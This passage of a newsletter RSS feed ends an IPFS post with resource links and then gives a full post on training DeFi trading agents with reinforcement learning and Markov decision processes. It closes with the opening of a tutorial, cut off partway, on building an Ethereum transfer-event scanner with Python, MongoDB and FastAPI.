HTMLAttributes="[object Object]" class="">.101. pay if you need more than 50 GB of bandwidth.</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/97edea0fb18bbe09aca7a127a5295228fcfcdbc0731a726afc0b8483db202100.png" alt=".110. enjoi." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.110. enjoi.</figcaption></figure><hr><h3 id="h-101110-resources-andand-open-questions" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">10.1110. resources &amp;&amp; open questions</h3><p>if you enjoyed IPFS, i invite you to check these further resources:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.tech/">IPFS docs</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ipld.io.ipns.localhost:8080/docs/intro/primer/">IPLD primer</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://research.protocol.ai.ipns.localhost:8080/tutorials/resnetlab-on-tour/">resnet tour by protocol labs</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://curriculum.pl-launchpad.io/">launchpad by protocol labs</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ipfs/kubo#readme">IPFS kubo (go)</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.tech/install/ipfs-companion/">IPFS browser extension</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/multiformats/multihash">the multihash protocol</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://libgen-crypto.ipns.dweb.link/">the library genesis</a> and some other enjoyable IPFS archives:</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5474268b0bad9a96d8253dbaad1f65b57c37f82508362af76dc1ade63759a7f6.png" alt=".https://ipfs.io/ipfs/QmZBuTfLH1LLi4JqgutzBdwSYS5ybrkztnyWAfRBP729WB/archives/." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.https://ipfs.io/ipfs/QmZBuTfLH1LLi4JqgutzBdwSYS5ybrkztnyWAfRBP729WB/archives/.</figcaption></figure><p>and to think about these:</p><ul><li><p>IPFS lacks a fully functional search engine. what could be a workaround?</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arxiv.org/abs/1905.11880">hydras and ipfs: a decentralized playground for malware, arxiv:1905.11880</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ipfs-the-new-hotbed-of-phishing/">IPFS: The New Hotbed of Phishing by trustwave</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.talosintelligence.com/ipfs-abuse/">cyber criminal adoption of IPFS for phishing, malware campaigns by talos</a>.</p></li><li><p>in a following post, i will be diving more into peer-to-peer connectivity &amp;&amp; <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://libp2p.io/">libp2p</a>. stay tuned.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f76634405879993746e93467734e0664b3de4a239040ba398e3177adb9af097e.png" alt=".we end with a pic of the IPFS dweb ecosystem." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.we end with a pic of the IPFS dweb ecosystem.</figcaption></figure><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/6f9040d04142445ea03089070512e82c16636fdbbce1013a3965935ac8ffd788.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on training defi agents with markov chains]]></title>
            <link>https://paragraph.com/@go-outside/on-training-defi-agents-with-markov-chains</link>
            <guid>nGO5BlpV9HSlIMRsWeBs</guid>
            <pubDate>Tue, 18 Apr 2023 17:11:18 GMT</pubDate>
            <description><![CDATA[today i go over a deep learning experiment modeling trading agents (and MEV bots) with reinforcement learning through MDP. my journey with machine learning started back in my phd, when i spent two good semesters mathematically and programmatically deriving all the ml classifiers, while researching complex networks (graph) classification. when i was an engineer at yelp and then at apple, i had the opportunity to build several in-house ml projects as well (some of my research can be found in my...]]></description>
            <content:encoded><![CDATA[<p>today i go over a deep learning experiment modeling <strong>trading agents</strong> (and MEV bots) with <strong>reinforcement learning</strong> through <strong>MDP</strong>.</p><p>my journey with machine learning started back in my phd, when i spent two good semesters <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ml-advanced-classifiers">mathematically and programmatically deriving <em>all</em> the ml classifiers</a>, while researching <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ml-complex-networks">complex networks (graph) classification</a>. when i was an engineer at yelp and then at apple, i had the opportunity to build several in-house ml projects as well (some of my research can be found in my old blog, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://singularity-sh.vercel.app/archives.html">“singularity.sh”</a> and in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ml-tensorflower">this repository</a>).</p><p>however, it was only last year when i started looking at the applications of this knowledge to defi, including experiments using non-canonical features such as crowd sentiment analysis and astronomy.</p><p>in this post, i introduce the first pieces of this ongoing side project. the problem we are trying to solve is: <strong><em>“how do we build defi trading agents that maximize cumulative rewards as realized profit”</em></strong>?</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/7DyPHYkcnkHpPNUrEwitdf?si=547c8ae44113432d">https://open.spotify.com/track/7DyPHYkcnkHpPNUrEwitdf?si=547c8ae44113432d</a></p><hr><h2 id="h-reinforcement-learning-for-the-uninformed" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">👾 reinforcement learning for the uninformed</h2><h3 id="h-the-setup" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the setup</h3><p>i assume you have some background in machine learning, neural networks, and reinforcement learning. if you need to refresh the basics, i suggest the resources linked at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/hft-deep-learning-agents">my (public) ml research repository</a> (or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://chat.openai.com/">chatgpt</a> 🥲).</p><p>the difference between reinforcement learning and supervised or unsupervised learning is that it uses training information on the agent’s action rather than teaching the correct actions.</p><p>in a high level, the elements of a reinforcement learning system are:</p><ol><li><p>the <strong>agent</strong> (the learning bot);</p></li><li><p>a model of the <strong>environment</strong> (anything outside the agent);</p></li><li><p>a <strong>policy</strong>, defining the learning agent&apos;s behavior at a given time (think a map of perceived states to actions to be taken). it might be stochastic (defining probabilities for each action);</p></li><li><p>a <strong>reward signal</strong>, modeling the goal of the agent. it’s the value given by the environment and sent to the agent on each time step, which needs to be maximized;</p></li><li><p>a <strong>value function</strong>, specifying the total reward the agent can expect to accumulate over the future (and can be used to find better policies).</p></li></ol><p>solving a reinforcement learning task means having your <strong>agent</strong> interact with the <strong>environment</strong> to find a <strong>policy</strong> that achieves great <strong>reward</strong> over the long run (maximizing the <strong>value function</strong>).</p><h3 id="h-markov-decision-processes" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">markov decision processes</h3><p>markov decision processes (mdp) are a canonical framing of the problem of learning from interaction with an environment to achieve a goal. the environment’s role is to return rewards, i.e., some numerical values that the agent wants to maximize over time through its $CHOICES of actions.</p><p>back in statistical and quantum physics, we use markov chains to model random walks of particles and phase transitions. this is because markov chains are a classical formalization of sequential decision-making, where actions influence immediate rewards AND subsequent situations. this means looking at the trade-offs of delayed reward by evaluating feedback and choosing different actions in different situations.</p><p>let’s ask our friend what they think:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8811d605ae1cf0a4b326b2e0af7ad3347b72f1cf88700afb294128ba50e71631.png" alt=".do we still need humans?." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.do we still need humans?.</figcaption></figure><p>for our defi agent, a reinforcement learning task can be formulated as a markov decision problem by the following process:</p><ol><li><p>the agent acts in a trading environment, which is a non-stationary pvp game with thousands of agents acting simultaneously. market conditions change, agents join or leave or constantly change their strategies.</p></li><li><p>in each step of time, the agent gets the current state (S_t) as the input, takes an action (A_t, buy, hold, sell), and receives a reward (R_{t+1}) and the following state (S_{t+1}). the agent can now choose an action based on a policy (pi(S_t)).</p></li><li><p>the endgame is to find a policy that maximizes the cumulative reward sum (e.g., P&amp;L) over some finite or infinite time.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0e9b5a5644eadee0f8eb812dc6748fbab03bf14c8b8c2401072b2b21ecd4e318.png" alt=".sutton &amp; barto on reinforcement learning." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.sutton &amp; barto on reinforcement learning.</figcaption></figure><h3 id="h-dynamic-programming" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">dynamic programming</h3><p>dynamic programming can be used to calculate <strong>optimal policies</strong> on mdp, usually by <strong>discretizing</strong> the <strong>state</strong> and <strong>action</strong> spaces.</p><p><strong>generalized policy iteration</strong> (gpi) is this process of letting policy-evaluation and policy-improvement processes interact through dp.</p><p>recall that we can improve a policy by given a value function for that policy, with the following interaction:</p><ul><li><p>one process makes the value function consistent with the current policy (policy evaluation),</p></li><li><p>and the other process makes the policy greedy for the current value function (policy improvement).</p></li></ul><p>a possible issue, however, is the <strong>curse of dimensionality</strong>, i.e., when the number of states grows exponentially with the number of state variables in the learning space.</p><hr><h2 id="h-the-defi-learning-agent" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">👾 the defi learning agent</h2><p>in a high level, our learning agent must sense the state of the environment and then take actions that will change their state.</p><p>in practical terms, our defi agent bot is developed and deployed through the following stages:</p><h3 id="h-data-engineering-infrastructure" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">data engineering infrastructure</h3><p>creating a data engineering infrastructure extracting and cleasing historical blockchain data.</p><p>for instance, we might want to retrieve ethereum logs, trace the mempool, or even extract data such as account balance and open limit orders.</p><p>this part would also encompass feature selection, i.e., selecting the desired token pairs, dex venues, and what data should be relevant.</p><h3 id="h-defining-the-initial-policy" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">defining the initial policy</h3><p>next step is to model an initial policy. this can be done by extracting pre-labels from the training data (the historical data up to that point) by running a supervised model training, then studying the features.</p><p>the action space could be composed of three actions: buy, hold, and sell. the agent would initially have a deterministic amount of capital on each step.</p><p>in reality, however, the agent needs to learn how much money to invest in a continuous action space. in this case, we could introduce limit orders (with variables such as price and quantity, or cancel orders that are not matched).</p><h3 id="h-optimizing-the-policy-and-parameters" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">optimizing the policy and parameters</h3><p>next stage is to optimize the agent’s policy, on which reward function could be represented by the <strong>net profit and loss</strong> (i.e., how much profit the bot makes over some time, with or without trading fees). we could also look at the net profit the agent returns if it were to close all of its positions immediately.</p><p>moreover, adding real environmental restrictions is part of the optimization process. the simulation could take into account order book network latencies, trading fees, amount of liquidity, etc.</p><p>making sure we separate validations and test sets is critical, since overfitting to historical data is a threat to the model.</p><h3 id="h-backtesting" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">backtesting</h3><p>the next step is backtesting this policy. at this point, we could consider optimizing the parameters by scrutinizing environmental factors: order book liquidity, fee structures, latencies, etc.</p><h3 id="h-paper-trading" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">paper-trading</h3><p>finally, we would run paper-trading with real-time new market data, analyzing metrics such as <strong>sharpe ratio</strong>, <strong>maximum drawdown</strong>, and <strong>value at risk</strong>.</p><p>paper-trading should prevent overfitting. by learning a model of the environment and running careful rollouts, we could predict potential market reactions and other agents&apos; reactions.</p><h3 id="h-live-trading" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">live trading</h3><p>the last step is to go live with the deployment of the strategy and watch the live trading on a decentralized exchange.</p><hr><h2 id="h-open-questions" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">👾 open questions</h2><p>in following posts, i might go more in-depth into the code and the stack, but for now, here are a few questions for the anon friend to think:</p><ul><li><p>what token pairs and dex market should our agent trade on?</p></li><li><p>what are the heaviest features to be training and making predictions on?</p></li><li><p>can we discover hidden patterns from our feature extraction process?</p></li><li><p>what should be the agent’s target market, and what protocols and chains should we extract features from?</p></li><li><p>what are the right state for the agent to trigger a trade? in high-performance trading (hft), decisions are based on market nanosecond signals. although our agent needs to be able to compete with this paradigm, neural nets are slow, up to minutes.</p></li><li><p>can we train an agent that can transit from bear to bull (and vice-versa)?</p></li></ul><h3 id="h-to-be-continued" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">to be continued.</h3><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/3cf3e132b6f83171af4fb2b2390bdb20f8a9b1faeb850a97d1695447f5f395a9.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on building a scalable ethereum event scanner]]></title>
            <link>https://paragraph.com/@go-outside/on-building-a-scalable-ethereum-event-scanner</link>
            <guid>BvbZpDwVFM4v2GpnRkgm</guid>
            <pubDate>Mon, 06 Mar 2023 01:29:12 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a MVP for a scalable event scanner for ethereum, through indexing and parsing block events. this is step 0 for building distributed systems that allow training machine learning models on the chains (e.g., high-frequency trading with deep learning) and other shenanigans. this is one data engineering approach: when you consciously decide to build a data lake and want to learn more about how blockchain emit logs. this project can be built in one day. for a rust agent that p...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a <strong>MVP for a scalable event scanner for ethereum</strong>, through indexing and parsing block events.</p><p>this is step 0 for building distributed systems that allow training machine learning models on the chains (<em>e.g.,</em> high-frequency trading with deep learning) and other shenanigans.</p><p>this is <strong>one</strong> data engineering approach: when you consciously decide to build a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://aws.amazon.com/big-data/datalakes-and-analytics/what-is-a-data-lake/">data lake</a> and want to learn more about how blockchain emit logs. this project can be built in one day. for a rust agent that performs (websockets) monitoring on cexes and other approaches, check <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-rs/tree/main/kiddor-searcher-bot">go-outside-labs’ kiddor-searcher-bot</a>.</p><hr><h3 id="h-today-you-will-learn-how-to" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">today you will learn how to:</h3><ol><li><p>leverage python to build a cli tool that <strong>indexes transfer events for a particular token</strong> through <code>eth_getLogs</code>,</p></li><li><p>prepare the data to be ingested and loaded into a simple <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mongodb.com/nosql-explained">nosql</a> database (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mongodb.com/">mongodb</a>),</p></li><li><p>build and deploy a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://restfulapi.net/">restful api</a> for fast balance and ownership statistics retrieval with python’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://fastapi.tiangolo.com/">fastapi</a> (while looking at asynchronous performance).</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3da62167494941102a1acf7a8de29cf91e49129c6915a33b0480df3018223f2c.png" alt="mvp for a token transfer event scanner." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">mvp for a token transfer event scanner.</figcaption></figure><h3 id="h-in-future-posts-i-shall-review-the-next-steps-of-a-production-grade-scanner-for-instance" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">in future posts, i shall review the next steps of a production-grade scanner, for instance:</h3><ul><li><p>how to create <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://graphql.org/">graphql</a> structures with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://thegraph.com/docs/en/querying/graphql-api/">the graph</a></p></li><li><p>how to index blockchain(s) data into a graph database, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://neo4j.com/">neoj4</a>, or high performance nosql databases, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Apache_Cassandra">apache cassandra</a>, or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arrow.apache.org/">apache arrow</a> data structures</p></li><li><p>an in-depth exploration of google’s (nosql) <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cloud.google.com/bigtable">bigtable</a> projects (<em>e.g.,</em> by the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/blockchain-etl">blockchain-etl</a> group), and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://airflow.apache.org/">apache airflow</a> dags for exporting, loading, and parsing data</p></li><li><p>an in-depth look at state-of-the-art distributed sql query engines, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/trinodb/trino">trino</a></p></li><li><p>how to implement distributed event streaming (<em>e.g.,</em> with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kafka.apache.org/">apache kafka</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/welcome.html">amazon sqs</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/awesome-cloud/aws-introduction-to-amazon-sns-simple-notification-service-b7cb18c2cb9f">sns</a>, or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.rabbitmq.com/">rabbitmq</a>)</p></li><li><p>how to index local nodes (<em>e.g.,</em> with a local running execution client, as opposed to using external rpc urls)</p></li><li><p>how to simultaneously index other tokens and alt chains</p></li><li><p>how to deploy this pipeline through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kubernetes.io/">kubernetes</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.terraform.io/">terraform</a>, as it scales for over 100mil+ entries</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/66f62dc5cc6a34240bda744d8a89bc71393daf81c6867eea3e87feff6db824f1.png" alt="system design for a blockchain intelligence data platform (all deployed on kubernetes)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">system design for a blockchain intelligence data platform (all deployed on kubernetes).</figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/1CkGUqwaz1UfFSo2BmySGI?si=e78e006febd945ac">https://open.spotify.com/track/1CkGUqwaz1UfFSo2BmySGI?si=e78e006febd945ac</a></p><hr><h2 id="h-a-cli-tool-to-index-tokens-events" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 a cli tool to index token’s events</h2><p>in this post, we are building a data engineering tool to index and process block data on ethereum. by the end, you should have a full api deployed in the cloud plus a local cli tool as well:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4123d4796d05f13ecaa9d53ed157f5e3502dd74f099dc407f5262b9eba9c4dd7.png" alt="the scanner cli, which is installed under the package name &quot;indexer&quot;." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">the scanner cli, which is installed under the package name &quot;indexer&quot;.</figcaption></figure><p>to get started, either clone <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-data-engineering">my code</a> or write your own files as we review this post.</p><h3 id="h-installing-dependencies" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">installing dependencies</h3><p>create a <code>venv</code>, either using <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://virtualenv.pypa.io/en/latest/">virtualenv</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/pypa/pipenv">pipenv</a>, or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://python-poetry.org/">poetry</a>.</p><p>because of some of the dependencies in this code, we will be developing on a <strong>python3.9</strong> environment (install <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.python.org/downloads/">here</a> if you don’t have that version on disk):</p><pre data-type="codeBlock" text="&gt; virtualenv -p /usr/local/bin/python3.9 venv
&gt; source venv/bin/activate
&gt; make install_dep
"><code><span class="hljs-operator">></span> virtualenv <span class="hljs-operator">-</span>p <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>python3<span class="hljs-number">.9</span> venv
<span class="hljs-operator">></span> source venv<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>activate
<span class="hljs-operator">></span> make install_dep
</code></pre><h3 id="h-add-environment-variables" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">add environment variables</h3><p>now, create a <code>.env</code> file and add an <code>RPC_PROVIDER_URL</code> to connect to ethereum mainnet nodes (for example, from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereumnodes.com/">this list</a>):</p><pre data-type="codeBlock" text="&gt; cp .env.example .env
&gt; vim .env
"><code><span class="hljs-operator">></span> cp .env.example .env
<span class="hljs-operator">></span> vim .env
</code></pre><h3 id="h-project-structure" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">project structure</h3><p>this is what this final project looks like (you get this by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.geeksforgeeks.org/tree-command-unixlinux/">running </a><code>tree</code>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/333e03b0d5ee15569d69f3688a6631e37062b3742d9632347e76b806979467e5.png" alt="&gt; tree ." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">&gt; tree .</figcaption></figure><h3 id="h-installing-the-package" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">installing the package</h3><pre data-type="codeBlock" text="&gt; make install
&gt; indexer -h 

🪙 Token indexer and API.
(...)
"><code><span class="hljs-operator">></span> make install
<span class="hljs-operator">></span> indexer <span class="hljs-operator">-</span>h 

🪙 Token indexer and API.
(...)
</code></pre><h3 id="h-the-main-class" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the main class</h3><p>the entry point of this project is through <code>src/main.py</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/46ae298af88455cc9bce907c3a7542131c90df3c05a393c07e0996e57fc49cd3.png" alt="src/main.py:" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/main.py:</figcaption></figure><hr><h2 id="h-indexing-historical-transfer-events" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 indexing historical transfer events</h2><p>before we review the first <code>class</code> in this project, <code>TokenIndexer</code> (which retrieves the token’s historical transfer event data from the ethereum mainnet), we need to decide which token we would like to index.</p><p>in this example, i am looking at an erc-721 token, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xbaac2b4491727d78d2b78815144570b9f2fe8899">the doge nft (dog) token</a>. feel free to add your favorite token’s contract in the <code>.env</code> file:</p><pre data-type="codeBlock" text="TOKEN_CONTRACT = 0xBAac2B4491727D78D2b78815144570b9f2Fe8899
"><code><span class="hljs-attr">TOKEN_CONTRACT</span> = <span class="hljs-number">0</span>xBAac2B4491727D78D2b78815144570b9f2Fe8899
</code></pre><p>by the way, all environment variables are retrieved by a function defined inside <code>src/utils/os_utils.py</code>, shown below. note that the last method in the file, <code>send_rpc_request()</code>, issues the <code>post</code> requests to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.infura.io/infura/networks/ethereum/json-rpc-methods/eth_getlogs">ethereum’s </a><code>json-rpc</code><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href=""> api</a>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bbfcd17848b5887fc8e568bd2b4ed668534ab8aea9f24fff4c673a043035e03d.png" alt="src/utils/os_utils.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/utils/os_utils.py</figcaption></figure><h3 id="h-finding-out-the-contracts-abi-and-dealing-with-proxies" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">finding out the contract’s abi (and dealing with proxies)</h3><p>we also need the abi of the contract.</p><p>since the doge nft token contract is behind a proxy, to be able to index the transactions (<em>e.g.,</em> call <code>Transfer()</code>), we need to retrieve <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x7b0fce54574d9746414d11367f54c9ab94e53dca#code">the abi of the proxy contract</a> (while still using the original contract’s address).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/81b7120628e086c9940daf479098a7ad51606e6fda760d2450c8784cb7a0a90e.png" alt="we use the token&apos;s contract, with the abi of the proxy contract." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">we use the token&apos;s contract, with the abi of the proxy contract.</figcaption></figure><p>how do you extract the abi from a contract?</p><p>(remember that the abi, the contract’s application binary interface, is the interface that specifies how to interact with this specific contract, including method names, parameters, constants, data structures, event types, etc.)</p><p>in this case, since the contract is verified on etherscan, we can call the endpoint below (which needs an api key that can be created <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/myapikey">here</a>):</p><pre data-type="codeBlock" text="https://api.etherscan.io/api?
module=contract&amp;
action=getabi&amp;
address=0x7b0fce54574d9746414d11367f54c9ab94e53dca&amp;
apikey=&lt;etherscan api&gt;
"><code>https://api.etherscan.io/api?
<span class="hljs-attr">module</span>=contract&#x26;
<span class="hljs-attr">action</span>=getabi&#x26;
<span class="hljs-attr">address</span>=<span class="hljs-number">0</span>x7b0fce54574d9746414d11367f54c9ab94e53dca&#x26;
<span class="hljs-attr">apikey</span>=&#x3C;etherscan api>
